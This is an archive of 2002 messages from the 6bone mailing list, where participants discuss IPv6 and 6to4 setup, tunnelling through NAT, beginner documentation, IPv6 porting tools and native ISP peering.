> numbered ::2 on that network can't
> > be made to understand that. Any attempt to put that number on any of
its
> interfaces simply confuses it. Interesting
> > though, both machines can talk to each other via the fe80:<hex-mac-
> address>:<interface> which of couse is nothing to do
> > with the 2002 prefix.
> >
> > Now - I've so far received over a dozen suggestions on how to get
the two
> machines talking to each other correctl, as
> > well as to the internet, and every one has been different. I have a
cardboard carton
> full of printouts of the same.
> > Variations of the same theme.
> >
> > now - I'm not digressing in that discussion above. It's to point out
that if it is so
> hard to set up an IPv6 network
> > across an existing IPv4 network, using systems supposedly designed
to facilitate
> that, then no one will bother after the
> > first few frustrating attempts.
> > If the system isn't loaded too heavily, you should actually be able
to connect to
> http://ruby.chalmers.com.au Apache-2
> > install page is all, on 2002:cb01:6006::1 Now, I'm not sure if it's
actually listening
> on the v6 port, put a ping6 to
> > the address should work.
> > It's the gateway/host/reouter whatever.
> >
> > s you can see, the origin is the HEX-MAC address of the other host.
Which should
> be 2002:cb01:6006::2 .....OR.... as
> > someone said, it should be 2002:cb01:6005::1 But of course it would
be if it were
> standalone. But it's supposed to be on
> > the same network as the 6006 one. You begin to see what I mean.
> > $ ping6 ruby
> > PING6(56=40+8+8 bytes) fe80::210:b5ff:fee4:4386%rl0 -->
2002:cb01:6006::1
> > 16 bytes from 2002:cb01:6006::1, icmp_seq=0 hlim=64 time=0.913 ms
> >
> >
> > So in conclusion - I suspect that very few people actually
understand about
> esoteric details like latency on pure IPv6
> > machines. But I could point at a user group who I'm sure would love
to get their
> teeth into setting up any number of
> > hosts, even virtual hosts, behind their one assigned IPv4 address.
If someone could
> come up  with something that was
> > readable and useable on the subject of setting up 6to4. (and on
FreeBSD in my
> case.) I'm happy to contribute in any way
> > I can, small as that may appear to the wizards of the pure IPv6
world.
> >
> > If IPv6 is to be rolled out and not forgotten, people need to be
able to implement it
> on their existing networks.
> >
> > just my two cents worth,
> > Robert Chalmers
> > Quantum Radio
> >
> >
> >
> >
> >
> > > > > Pekka Savola wrote:
> > > > > If I was serious about experimenting with IPv6, I sure would
not
> > > > > go overseas to find someone who might be willing to slice off
a
> > > > > part of a block.  However, if I was not serious, I wouldn't
care if
> > > > > all my IPv6 traffic to European countries crossed the
> > > > Atlantic twice.
> >
> > > I personally use on day by day basis, IPv6 enabled:
> > >  - SSH (PuTTY :)
> > >  - SMTP
> > >  - Quake 1 + 2*
> > >  - HTTP
> > >  - X
> > >
> > >
> >
> > > > guarantee that the 6bone will not be used for production.
> > > You've got a point there :)
> > > Though I think most people will profit from good latency.
> >
> >


From 6bone-owner  Sun Apr 14 16:02:44 2002
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Dave'" <dave@dave.tj>, <robert@quantum-radio.net.au>
Cc: "'6bone'" <6bone@ISI.EDU>
Subject: Newbie starting point :) WAS: WAS... Re: pTLA request for RMNET - review closes 23 April 2002
Date: Mon, 15 Apr 2002 01:02:17 +0200
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Dave wrote:

> Nope, you're _not_ alone.  In fact, you've had much more luck than
> I've had.  I finally gave up on getting it to work serveral 
> months ago,
<SNIP>

Wellps, I've changed the subject to the not very subtile 'newbie
starting point'.
I hope nobody gets offended by that but here we go:

For linux it's all quite easy, simply read Peter Bieringer's FAQ at:
http://www.bieringer.de/linux/IPv6/index.html

It mentions about everything, if you aren't comfortable with compiling
your own tools,
you can ofcourse always use things like Debian and/or RedHat, especially
Debian is quite nice as it has all the tools in it.
(apt-get install traceroute6 etc ;) Oh and I shouldn't forget mentioning
the Polish Linux Distribution (www.pld.org.pl/)
Who have IPv6 as default and many patches for programs come from their
hand! (RPM based distro btw ;)
I personally favor Debian, but that's all about taste.
If you want to compile things yourself you can ofcourse always steal the
tarballs from the Debian servers.
ftp://ftp.nl.debian.org/pub/linux/debian/pool/main/i/iputils/iputils_200
20124.orig.tar.gz or other mirrors.
These are the original tarballs, so simply check www.debian.org which
package contains what and leech the tarball.

Net/Free/Open/*/BSD: default support for IPv6 or simply leech the KAME
iso's (www.kame.net)

And about getting an uplink to the rest of the IPv6 world:
http://dmoz.org/editors/editcat.cgi?cat=Computers/Internet/Protocols/IP/
IPng/IPv6_Access_Providers

and for all the news & many tunnels providers:
http://hs247.com
which is a good place to start too as it has many links to all kinds of
IPv6 related stuff.

So where is the problem ? :)

Greets,
 Jeroen


From 6bone-owner  Sun Apr 14 16:31:12 2002
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From: =?iso-8859-1?Q?J=F8rgen_Hovland?= <jorgen@hovland.cx>
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References: <Pine.LNX.4.44.0204142308380.1349-100000@varg.wolfpack>
Subject: Re: Can dynamic ipv4 addresses be used to tunnel the ipv6 traffic ?
Date: Mon, 15 Apr 2002 01:31:49 +0200
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I think if your router can redirect encapsulated data, ipv6 tunnel will work
through NAT.
You would have to set this static, or sourceroute it...
Protocol 98 ?

-j

----- Original Message -----
From: "Michael Kjorling" <michael@kjorling.com>
To: "Fabian Svara" <svara@gmx.net>
Cc: "6bone" <6bone@ISI.EDU>
Sent: Sunday, April 14, 2002 11:11 PM
Subject: Re: Can dynamic ipv4 addresses be used to tunnel the ipv6 traffic ?


> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
> On Apr 15 2002 01:11 +0200, Fabian Svara wrote:
>
> > > Just remember that you cannot do IPv4 NAT in front of the IPv6-in-v4
> > > gateway.
> >
> > So that's why I could never manage to get freenet6 to work! I asked
> > quite some people on #ipv6 on OPN though, and they all told me it
> > was possible. Strange...
> >
> > -Fabian Svara
>
> Well, I believe that I read that it works if it is nothing but address
> translation (one public address is changed into one private), but that
> is not what I have seen the term NAT being used about. (The way most
> people seem to use the term 'NAT' is in the meaning of what in the
> Linux world is called 'ip masquerading' - one public IP address in
> front of more than one private ones.)
>
> Maybe that is why.
>
>
> Michael Kjörling
>
> - --
> Michael Kjörling  --  Programmer/Network administrator  ^..^
> Internet: michael@kjorling.com -- FidoNet: 2:204/254.4   \/
> PGP: 95f1 074d 336d f8f0 f297 6a5b 2aa3 7bfd 8a70 e33e
>
> ``And indeed people sometimes speak of man's "bestial" cruelty, but
> this is very unfair and insulting to the beasts: a beast can never be
> so cruel as a man, so ingeniously, so artistically cruel.''
> (Ivan Karamazov, in Dostoyevsky's 'The Brothers Karamazov')
> -----BEGIN PGP SIGNATURE-----
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> Comment: Public key is at http://michael.kjorling.com/contact/pgp.html
>
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> =5uPo
> -----END PGP SIGNATURE-----
>
>


From 6bone-owner  Sun Apr 14 18:12:41 2002
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To: "'Merlin'" <robert@quantum-radio.net.au>, "'Dave'" <dave@dave.tj>
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Subject: RE: Newbie starting point :) WAS: WAS... Re: pTLA request for RMNET - review closes 23 April 2002
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Merlin [mailto:robert@quantum-radio.net.au] wrote:

See the end for the usefull lessranting part ;)

<RANT>

> On the surface - again - this looks fine. Look closer and you 
> will see that once again in the case of the Linux HOWTO,
> it's one persons setup diagram, for IPv6 and a lot of links 
> to stuff that everyone already knows about, and even for a
> Linux person it has to be pretty difficult to follow.
> and Linux users are used to having complex options. Or should I
> say standards. "Standards are wonderful things. There are so 
> many to choose from"... :-)
> And the more you read the onlline docs - because of their 
> wide ranging sources - the more confusing it all becomes.
That all depends on how big a linux user one is.
Many 'linux users' don't know how to install Linux From Scratch
simply because they are spoiled with Packagemanagement systems.
Or when a problem pops up they don't even know that there is
a thing called google, manual and docs dir where the problems are
explained....

If you want it easy use the Windows systems and click&play.
Nobody said it was easy, though it actually IS easy :)

> However, this only supports what I said earlier. There are no 
> definative documents for 6to4 working, and precious few
> for IPv6 alone.
There are *LOADS* of documents, check http://hs247.com

> Lots and Lots of individual setups granted. For individual 
> OSs like Linux, FreeBSD and so on. But precious little of a
> broader nature such as is produced in the O.Reily books for example.
www.amazon.com and numberous others sport many IPv6 related books
also the HOWTO supplied by Peter Bieringer should be more then
sufficient.

> I would have thought that 6bone ORG would have a repository 
> of definitive work, being the initiatiors of the whole deal
> ( are they?) I may be wrong.
Google and other search engines are always up to date on this matter :)

<SNIP>
> But of course there is still the good old two tier structure 
> that we have always had. The Wizards who thought up the
> whole thing, and don't even recognize the existence of lesser 
> mortals let alone write something they can understand, and
> us - the lesser mortals.
"Wizards" prefer RFC's and digging around in the source code.

> Because of the lack of centrality to the rollout, getting 
> simple answers to seemingly simple problems becomes a major
> exercise, and I'm sure there are thousands, nay millions 
> even, who have taken one look, tried it and said ... holy 6bone
> batman, what is this masked Ninja Turtle.
> Actually, thinking about it, a Turtle is a good symbol for 
> IPv6 so far. It either pulls it's head in so you can't see
> it, or it's won't work because it's on it's back with it's 
> legs in the air.
That turtle you are mentioning is the KAME (which is japanese for turtle
;)
Also if one isn't capable of using google I wonder if one should
be bothering even thinking about trying out new things....

> A case in point. I'm not looking for any new answers here by 
> the way - I have already received 32, all different. Just
> givng an example.
> 
> I set up a router on a FreeBSD box using the 6to4 setups. 
> Prefix 2002 and all that. It appeared to work fine. Talkd to
> anything about the place with ping6 and so on. That took the 
> best part of three weeks on and off to master. I wasn't on
> it all the time of course, I do have a living to make.
> OK, got that working. I read in some docs...
> To get a client on the same network working, and talking to 
> the router, and other hosts on the network, 'just set IPv6
> Enable="YES"'
> Yea - right.
> The only way it talks to the router, or the router to it, is 
> through the fe80+MAC address of the ethernet card
> interface.
> Asking the questions:
Well DUH ... you need to enable IPv6 forwarding and advertise
a /64 out of your 6to4 /48 on your local network.
(See the IPv6 HOWTO :)
man radvd (Linux)
man rtadvd (*BSD)

<SNIP>

> Ok, like I said. I do not want answers to the above emailed 
> to me. My point is that there should be answers somewhere on
> the site of whoever it was that IMPLEMENTED the 2002 prefix 
> idea in the first place perhaps. The same for IPv6 and any
> other of the things to do with IPv6.
READ THE RFC.
And it's quite common sense to do it this way.

> Even on 6bone, there is no "dictionary". Here's a good example.
There is it's called google and www.faqs.org containing the RFC's.

> 2002:        The prefix used by the 6to4 set of connection 
> methods. Use this if you are setting up your own config based
> 6to4 setup and already have your own IPv4 network, or static address.
6to4 is a transition method, not a connection method.

> 3ffe:           (I think) The prefix used if you connect via 
> a 6to4 tunnel broker, such as freenet6.
3ffe:/16 is the 6bone delegation (see www.6bone.org)

> Tunnel Broker  A service provider who will dynamically 
> allocate you an address in the above space.  See [here] to
> configure other hosts on your netwrok with matching 
> addresses, so you can have your whole netwrok of IPv4 machines also
> using the IPv6 or the IPv4 network at will.
Most "Tunnel brokers" supply either/and/or:
- native IPv6
- 6to4
- 6over4
- shipworm

And most of them will not do this "dynamically".
Also most of these TB's have detailed instructions on how things work:
http://www.freenet6.net/howtsp.shtml
http://www.ipng.nl/index.php3?page=setup.html
http://www.xs26.net/text.bat?page=help

HE.net says:
8<--------
To use this free service you must have IPv6 support on your host or
router. If you don't have IPv6 support yet please read more about IPv6
at a site like hs247.com first.
--------->8
And they also list Peter Bieringer's HOWTO :)

> On your Local Machine
> ::1                                                 Your localhost
> fe80::%rl0/64                                 Your ethernet 
<SNIP>
> ff02::%tun0/32
Read the RFC's and/or the HOWTO it's all there.

> Dictionary.
> Part Two:
<SNIP>
See Peter's HOWTO

> and put in the most obvious place. The 6bone.org site. and 
> kept updated.
Google is up to date, indexing everything around this world.

Also http://hs247.com as mentioned before
or what about directory.[google|yahoo|netscape|...] aka dmoz.org:
http://dmoz.org/Computers/Internet/Protocols/IP/IPng/

Yes it's all there.

The fact that some people are too lazy to even look around on the
internet
does exactly answer all your "problems".
Some people come asking "I have a bachelor this, doctorate in this,
university student at that but how do I configure IPv6"
without even looking around.

Google on "IPv6" for a moment:
http://www.google.com/search?sourceid=navclient&querytime=y64xwB&q=IPv6
<--- this will show you
the results which are:

http://directory.google.com/Top/Computers/Internet/Protocols/IP/IPng/?tc
=1 <-- the dmoz.org directory.
http://ww.ipv6.org/ <-- I wonder what that is
http://www.ipv6forum.com/ <--- commercial forum for the industry
http://playground.sun.com/pub/ipng/html/ipng-main.html  <-- IETF IPng
working group (who "invented" IPv6)
http://www.bieringer.de/linux/IPv6/ <--- YES Peter's HOWTO
http://www.kame.net <-- KAME :)
http://www.6bone.net/ <-- 6bone (which is only a part of the IPv6
capable internet, might I add)
http://www.linux-ipv6.org/ <-- Ipv6 on linux
http://www.sun.com/software/solaris/ipv6/ <-- Ipv6 on solaris
http://www.cisco.com/warp/public/732/Tech/ipv6/ <-- IPv6 on cisco
http://research.microsoft.com/msripv6/ <-- IPv6 on Windows

and many many many many many many <repeat> more....
</RANT>

And if you really have an unanswered question don't hesitate to ask the
list ofcourse ;)
When you first learned math/english/<other lingo>/geography/biology etc
you also had to read a lot.
With IPv6 it isn't much different, the only difference I can tell is
that it's not given
when you grow up and one isn't kept by the hand learning it.
Though ofcourse there are training programs, check http://hs247.com
(AGAIN :) at the
left for "IPv6 training" I wonder what that does...

Greets,
 Jeroen

PS: When I tried to figure it all (1998 or so), there where no howto's
but some
searchengine told me how to do it even then (along with the kernel and
tools sources in hand :)


From 6bone-owner  Sun Apr 14 18:42:48 2002
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To: 6bone@ISI.EDU
Subject: Re: Newbie starting point :)
From: Harald Koch <chk@pobox.com>
Date: Sun, 14 Apr 2002 21:42:31 -0400
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> For linux it's all quite easy, simply read Peter Bieringer's FAQ at:
> http://www.bieringer.de/linux/IPv6/index.html

Based on that FAQ I was up and running in a weekend with a tunnel from
Hurricane Electric. I had firewalling, DNS, SSH, and basic connectivity
(including CIPE tunnels).

Since then I've slowed down, but I've added a couple of Windows 2000
machines, OSPF6 for dynamic routing, MXing and SMTP, and Apache 2.0.35
for IPv6 web service, all based on information from the web.

Disclaimer: I used to be an engineer for CA*net, so I knew a little :-)
about networking going into the process.

I'll grant that this stuff isn't plug'n'play; nobody (except Windows XP)
is ready to hand you IPv6 on a platter. You'll have to do the research
yourself; I'd start with reading the RFCs and spending time with Google.

-- 
Harald Koch     <chk@pobox.com>

From 6bone-owner  Sun Apr 14 22:39:45 2002
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From: Pim van Pelt <pim@ipng.nl>
To: Fabian Svara <svara@gmx.net>
Cc: Michael Kjorling <michael@kjorling.com>, 6bone@ISI.EDU
Subject: Re: Can dynamic ipv4 addresses be used to tunnel the ipv6 traffic ?
Message-ID: <20020415053945.GG1393@bfib.colo.bit.nl>
References: <OIEBLNGPGFHJCHOHHGDLOEGKCDAA.six_bone@neurojacked.net> <Pine.LNX.4.44.0204142048140.1349-100000@varg.wolfpack> <20020415011152.4ef38467.svara@gmx.net>
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On Mon, Apr 15, 2002 at 01:11:52AM +0200, Fabian Svara wrote:
| > Just remember that you cannot do IPv4 NAT in front of the IPv6-in-v4
| > gateway.
| 
| So that's why I could never manage to get freenet6 to work! I asked quite some people on #ipv6 on OPN though, and they all told me it was possible. Strange...
The IRCNet (irc.stealth.net et al) has quite some IPv6 capable servers
and also quite some clue in #IPv6.

Only the English language, no colors, scripts, automatic crap and stuff
like this, we're quite puristic on this :) Come and join in if you have
any IPv6 (non-IRC) related things to discuss.

groet,
Pim
-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From 6bone-owner  Sun Apr 14 22:41:39 2002
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From: Pim van Pelt <pim@ipng.nl>
To: =?iso-8859-1?Q?J=F8rgen?= Hovland <jorgen@hovland.cx>
Cc: 6bone@ISI.EDU
Subject: Re: Can dynamic ipv4 addresses be used to tunnel the ipv6 traffic ?
Message-ID: <20020415054143.GH1393@bfib.colo.bit.nl>
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On Mon, Apr 15, 2002 at 01:31:49AM +0200, Jørgen Hovland wrote:
| I think if your router can redirect encapsulated data, ipv6 tunnel will work
| through NAT.
| You would have to set this static, or sourceroute it...
| Protocol 98 ?
It's protocol 41. And indeed, if you can instruct your 'ip masquerading'
box aka port-overloaded NAT box to send all the proto-41 traffic it gets
to an internal machine, then you're up and running in a jiffy.

If anyone knows an OS that can do this, please reply to this mail. I
think the closest would be iptables or pfw (OpenBSD).

groet,
Pim

-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From 6bone-owner  Mon Apr 15 00:38:18 2002
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From: Pekka Savola <pekkas@netcore.fi>
To: Harald Koch <chk@pobox.com>
cc: 6bone@ISI.EDU
Subject: Re: Newbie starting point :)
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On Sun, 14 Apr 2002, Harald Koch wrote:
> I'll grant that this stuff isn't plug'n'play; nobody (except Windows XP)
> is ready to hand you IPv6 on a platter. You'll have to do the research
> yourself; I'd start with reading the RFCs and spending time with Google.

Have you had a look at Red Hat Linux 7.2 or 7.2.93 (beta2) 
/usr/share/doc/initscripts-*/ipv6-6to4.howto ?

Basically the configuration (on beta2) is like:

   echo "NETWORKING_IPV6=yes" >> /etc/sysconfig/network
   echo "IPV6_GATEWAYDEV=tun6to4">> /etc/sysconfig/network
   echo "IPV6INIT=yes" >> /etc/sysconfig/network-scripts/ifcfg-eth0
   echo "IPV6TO4INIT=yes" >> /etc/sysconfig/network-scripts/ifcfg-eth0

Can't be that complex.... :-)

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From 6bone-owner  Mon Apr 15 00:41:50 2002
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From: Will Hargrave <will@harg.net>
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Subject: Re: Can dynamic ipv4 addresses be used to tunnel the ipv6 traffic
 ?
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On Mon, 15 Apr 2002, Pim van Pelt wrote:

> It's protocol 41. And indeed, if you can instruct your 'ip masquerading'
> box aka port-overloaded NAT box to send all the proto-41 traffic it gets
> to an internal machine, then you're up and running in a jiffy.
> If anyone knows an OS that can do this, please reply to this mail. I
> think the closest would be iptables or pfw (OpenBSD).

You can arbitrarily static NAT IPv4 (and also probably ipv6 :) in this way
using Linux 2.4 netfilter/iptables.

You could also do it with a Cisco for sure.

-- 
Will Hargrave


From 6bone-owner  Mon Apr 15 02:31:29 2002
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From: "Smith, Mark - Sydney" <smith.r.mark@wcom.com.au>
To: "'Amir'" <six_bone@neurojacked.net>, 6bone <6bone@ISI.EDU>
Subject: RE: Can dynamic ipv4 addresses be used to tunnel the ipv6 traffic
	 ?
Date: Mon, 15 Apr 2002 17:28:58 +0800
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You can use freenet6 as suggested by others, or alternatively a mechanism
called "6to4" :

http://www.6bone.net/6bone_6to4.html

As an unrelated (specifically to IPv6) alternative I've been playing with
this :

http://openvpn.sourceforge.net/

which allows you to set up a virtual ethernet network between hosts over an
encrypted udp tunnel. I'm about to start using it to run a virtual ethernet
into our lab at work, and the run IPv6 over it. As it creates a virtual
ethernet, you can run any protocol over it eg IPv4, ipx, appletalk etc.
Also, as it is emulating a multicast capable layer 2 link, all the standard
IPv6 Neighbor discovery mechanisms work eg Router Solicitations /
Advertisments etc etc ie. your local tunnel end point autoconfigures its
IPv6 address with prefixes listed in the received router advertisements.

Note, if you use it using a tap virtual ethernet interface rather than a tun
point to point interface, the mtu of the tunnel will be 1436 rather than
1450 in the doco.

Finally, the feature I like the most is the ability for it to cope with the
underlying IPv4 tunnel end point IP addresses to change. Really useful for
when your dial link hangs up and you get a new IPv4 address when you dial in
again, or your DSL ISP changes your IPv4 IP address on you.

The only requirement is to have an already enabled IPv6 native endpoint you
can stick a linux box in to act as your remote openvpn tunnel endpoint, so
it may not be all that useful if you are "on your own".

Regards,
Mark.

> -----Original Message-----
> From: Amir [mailto:six_bone@neurojacked.net]
> Sent: Monday, 15 April 2002 1:02
> To: 6bone
> Subject: Can dynamic ipv4 addresses be used to tunnel the 
> ipv6 traffic ?
> 
> 
> Hi, I'm interested in connecting my home LAN of 3 linux stations
> to 6bone. From what I've read until now, while trying to collect
> data to answer the very basic question of "Whether I can do 
> this at all?"
> before I get down to business, I haven't seen anything that stated if
> my ipv4 address, which is dynamic, can be used to tunnel the traffic.
> Please tell me if it's possible, because if it's not, there's 
> really no
> point for me to delve into the project in the first place.
> And, if it is possible, are there any added difficulties involved, or
> will it be relatively the same as installing it on a static 
> ipv4 IP address
> ?
> 
> Thanks, and sorry if it's a newbie question, I simply want to 
> know if I
> can do it at all.
> 
> Amir.
> 

From 6bone-owner  Mon Apr 15 06:40:37 2002
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hi,how to configure and enable 3 host with zebra ospf6d? the basic commands dont seemed to work. need help on this for my research.

thanks

with best regards

NANTHAN.R


See Dave Matthews Band live or win a signed guitar
http://r.lycos.com/r/bmgfly_mail_dmb/http://win.ipromotions.com/lycos_020201/splash.asp 

From 6bone-owner  Mon Apr 15 07:08:53 2002
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To: Feico Dillema <feico@pasta.cs.uit.no>
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Subject: Re: WAS... Re: pTLA request for RMNET - review closes 23 April 2002
References: <001901c1e105$b3754e20$420d640a@unfix.org> <005d01c1e126$923358d0$1a6001cb@chalmers.com.au> <20020411223317.GI8121@pasta.cs.uit.no>
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We recently finished an IPSec tunnelled VPN between 3 locations using non-routable addresses, NAT, and shared secrets.  The
current IPSec implementation didn't hinder us, but the FreeBSD instructions we used didn't work completely right with our
NetBSD 1.5.3 system.  Let me say publically that the software worked exactly as needed for this 3 way VPN.

We will be typing the instructions we are using as a thought piece and will forward it to the list for review and comments.

Dave Burgess

Feico Dillema wrote:

> On Thu, Apr 11, 2002 at 05:00:14PM +1000, Merlin wrote:
> > So in conclusion - I suspect that very few people actually understand about esoteric details like latency on pure IPv6
> > machines. But I could point at a user group who I'm sure would love to get their teeth into setting up any number of
> > hosts, even virtual hosts, behind their one assigned IPv4 address. If someone could come up  with something that was
>
> Here 's the package (a perl script) that does it all for you on
> NetBSD:
>
> ftp://ftp.netbsd.org/pub/NetBSD/packages/pkgsrc/net/6to4/README.html
>
> Step 0: man 6to4 and read the instructions or alternatively:
>
> Step 1: edit 6to4.conf (basically, uncomment the relay you want to use)
> Step 2: run: `6to4 start`
> Step 3: ping6 www.kame.net
>
> Probably the same works on the other *BSDs. I don't think it get's
> more simple than that. Not much anyway.
>
> > If IPv6 is to be rolled out and not forgotten, people need to be able to implement it on their existing networks.
> Well, people can and people do. We've run IPv6 only in our lab and at
> home for more than 2 years now, and things simply work and I've almost
> forgotten how to split a 3bit IPv4 net in 2 subnets just to add
> wireless connectivity to my home e.g. ;-}
>
> My IPv6 (only!) home router says:
>
> 1 dillema@spam.dillema.net:~> uptime
> 10:43PM  up 359 days,  7:34, 0 users, load averages: 0.32, 0.14, 0.10
>
> and I've almost forgotten were it is. I'll find it (and take it down.
> snif) when I move house soon.
>
> We have many such homerouters around, used to give faculty members
> and students wavelan connectivity from university to the home. Many of
> them hardly new what a netmask was, but all managed to set up
> their own NetBSD IPv6 router by following the instructions in e.g.
> http://www2.no.netbsd.org/Documentation/network/ipv6/
>
> I bet on some other OSes there's is or will be some button to press to
> simply enable or disable IPv6 and/or 6to4, or maybe it will `just be
> there'. Most people won't care. Those that do and are in the business
> of setting up routers, may be required to read and follow some
> instructions. Soon, I expect some router configuration protocol will
> also make that unecessary for regular clients of ISPs.
>
> In short, I do not think IPv6 has a problem here. Quite the contrary.
> When handing out 2bit IPv4 nets to people at home, we typically ended
> up configuring things for them. With IPv6 saying: ``follow the
> instructions of the FAQ'' typically works out just fine.
>
> Feico Dillema.
>  - Almost but not quite entirely a problem.



From 6bone-owner  Mon Apr 15 12:52:46 2002
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To: nanthan14@lycos.com
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Subject: Re: Zebra OFPF Routing in ipv6
From: Yasuhiro Ohara <yasu@sfc.wide.ad.jp>
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nanthan14> hi,how to configure and enable 3 host with zebra ospf6d?
nanthan14> the basic commands dont seemed to work. need help on this
nanthan14> for my research.

Could you give me a configuration file ?
It would be better to send me a direct mail.

thanks.

	yasu


From 6bone-owner  Mon Apr 15 13:36:00 2002
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remove


From 6bone-owner  Mon Apr 15 14:29:02 2002
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Date: Mon, 15 Apr 2002 14:28:56 -0700
From: Chuck Yerkes <chuck+6bone@snew.com>
To: Ben Winslow <rain@bluecherry.net>
Cc: 6bone@ISI.EDU
Subject: Re: [OT] IPv6 applications in active use
Message-ID: <20020415142856.A20747@snew.com>
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I've been the very strong advocate for IPv6 support
in Sendmail Inc's commercial packages.  Unfo, the apache
server that comes with it and the IMAP server do not
speak IPv6 at this time.

More demand (from buyers) would garner more resources for it :)


I'm recalling some tool on a Sun site that could take code and
basically LINT it for IPv4 only calls, offering the more generic
(4 or 6) code.  Anyone know what that is, or where?


Quoting Ben Winslow (rain@bluecherry.net):
> Jeroen's post sparked interest in knowing what people are currently
> using with IPv6 support on a regular basis.  I'll add what I can think
> of off the top of my head and add some questions that may benefit other
> list members as well as myself. 
...

From 6bone-owner  Mon Apr 15 16:35:45 2002
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> remove

Where is the world coming to? :(

-- 
 Walter Hop <walter@binity.com> | +31 6 24290808 | PGP keyid 0x84813998


From 6bone-owner  Mon Apr 15 17:38:43 2002
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Chuck Yerkes'" <chuck+6bone@snew.com>,
        "'Ben Winslow'" <rain@bluecherry.net>
Cc: <6bone@ISI.EDU>
Subject: RE: [OT] IPv6 applications in active use
Date: Tue, 16 Apr 2002 02:38:41 +0200
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Chuck Yerkes wrote:
<SNIP>
> I'm recalling some tool on a Sun site that could take code and
> basically LINT it for IPv4 only calls, offering the more generic
> (4 or 6) code.  Anyone know what that is, or where?

Well I know Microsoft has one ;)

http://www.microsoft.com/windows2000/technologies/communications/ipv6/ip
v6winsok.asp

Cut and paste:

8<--------
Microsoft provides a utility called Checkv4.exe that recommends fixes
for code that may not port properly. You can learn about the
functionality of the Checkv4.exe utility by using the sample
applications in the appendixes and reading the documentation in this
paper.
-------->8

Don't know for sure if it works on 'unix-based' socket code, but as the
winsock framework is not so very different it should work quite well ;)

Greets,
 Jeroen


From 6bone-owner  Mon Apr 15 19:11:29 2002
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Subject: porting tool
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>Chuck Yerkes wrote:
><SNIP>
>> I'm recalling some tool on a Sun site that could take code and
>> basically LINT it for IPv4 only calls, offering the more generic
>> (4 or 6) code.  Anyone know what that is, or where?

	it is called "IPv6 socket scrabber", and is still avaliable from
	http://wwws.sun.com/software/solaris/ipv6/.

itojun

From 6bone-owner  Mon Apr 15 23:55:00 2002
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From: info@caladan.net
To: <6bone@ISI.EDU>
Date: Tue, 16 Apr 2002 07:52:50 +0100
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Yes, we peer with UUNET natively. 

But we'd love to peer natively with other ISP's in the UK...


On 15 Apr 2002 at 10:49, Greg Blakely wrote:

> UUNET is IPv6 enabled.  As far as I know, there is no ipv4 tunnelling,
> but I'd have to verify that.
> 
> Greg
> 
> ----- Original Message -----
> From: <info@caladan.net>
> To: "Tim Chown" <tjc@ecs.soton.ac.uk>
> Cc: <6bone@ISI.EDU>
> Sent: Thursday, April 11, 2002 10:29 AM
> Subject: RE: bad tunnel topology
> 
> 
> > We were one of the first to join UK6X but since joining it's gone
> > dead, there seems to be no interest - we never get any emails from
> > the mailing list anymore and repeated requests to peer results in
> > responses like "soon" or "we'd love to peer but were not ready yet",
> > etc :(
> >
> > So unless you know different? We have cables between ourselves
> > and UK6X and ourselves and UUNET, If anyone else would like to
> > peer with us natively either direct or via UK6X, we have a presence
> > in Telehouse, London and MCC, Manchester.
> >
> > We could also get connectivity to Redbus in London if req'd.
> >
> > Regards,
> > Chris
> >
> >
> > On 11 Apr 2002 at 9:09, Tim Chown wrote:
> >
> > >
> > > Hi Chris,
> > >
> > > Have you considered connectiong to the UK6X run by BTexact?
> > >
> > > Tim
> > >
> > > On Thu, 11 Apr 2002 info@caladan.net wrote:
> > >
> > > > We run native IPv6 as well as tunnels here in the UK, from
> > > > Telehouse, London.
> > > >
> > > > If we want to be able to reach everyone on the 6bone we have to
> > > > use tunnels as there are not enough ISP's doing it native.
> > > >
> > > > Regards,
> > > > Chris
> > > >
> > > >
> > > > On 10 Apr 2002 at 20:42, Scott Martin wrote:
> > > >
> > > > >
> > > > >
> > > > >
> > > > > -snip-
> > > > > > until Abilene is able to run native v6. Soon. . .
> > > > > >
> > > > > > Bill (who is currently running native v6)
> > > > >
> > > > > Are there any medium to large size ISP's either running native
> > > > > IPv6 or ip+ipv6 simultaneously?
> > > > >
> > > > > Thanks,
> > > > > -Scott (who is currently running v6 tunneled :-) )
> > > >
> > > >
> > > >
> >
> >
> >



From 6bone-owner  Tue Apr 16 01:23:09 2002
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From: "LINDGREN, BJORN [IT/0454]" <bjorn.lindgren@pharmacia.com>
To: "'Chuck Yerkes'" <chuck+6bone@snew.com>
Cc: 6bone@ISI.EDU
Message-ID: <E05CDF7488783E479651ED850F0FFA1D05890088@seuppms003.sesto.eu.pnu.com>
Subject: RE: [OT] IPv6 applications in active use
Date: Tue, 16 Apr 2002 04:21:47 -0400
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The porting tool you are recalling are the "Ipv6 Socket Scrubber" from Sun.
Its both binarys for Solaris and source code is available at
http://wwws.sun.com/software/solaris/ipv6/, the tool should compile and run
on all POSIX compliant UNIX platforms with a C compiler.

// Björn

-----Original Message-----
From: Chuck Yerkes [mailto:chuck+6bone@snew.com]
Sent: den 15 april 2002 23:29
To: Ben Winslow
Cc: 6bone@ISI.EDU
Subject: Re: [OT] IPv6 applications in active use


I've been the very strong advocate for IPv6 support
in Sendmail Inc's commercial packages.  Unfo, the apache
server that comes with it and the IMAP server do not
speak IPv6 at this time.

More demand (from buyers) would garner more resources for it :)


I'm recalling some tool on a Sun site that could take code and
basically LINT it for IPv4 only calls, offering the more generic
(4 or 6) code.  Anyone know what that is, or where?


Quoting Ben Winslow (rain@bluecherry.net):
> Jeroen's post sparked interest in knowing what people are currently
> using with IPv6 support on a regular basis.  I'll add what I can think
> of off the top of my head and add some questions that may benefit other
> list members as well as myself. 
...

From 6bone-owner  Tue Apr 16 03:56:12 2002
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From 6bone-owner  Tue Apr 16 08:11:38 2002
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Date: Tue, 16 Apr 2002 08:11:26 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: pTLA request for CALADAN - review closes 30 April 2002
Cc: "Daniel Austin (fxp0)" <fxp0@fxp0.co.uk>
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6bone Folk,

CALADAN has requested a pTLA allocation and I find their request fully 
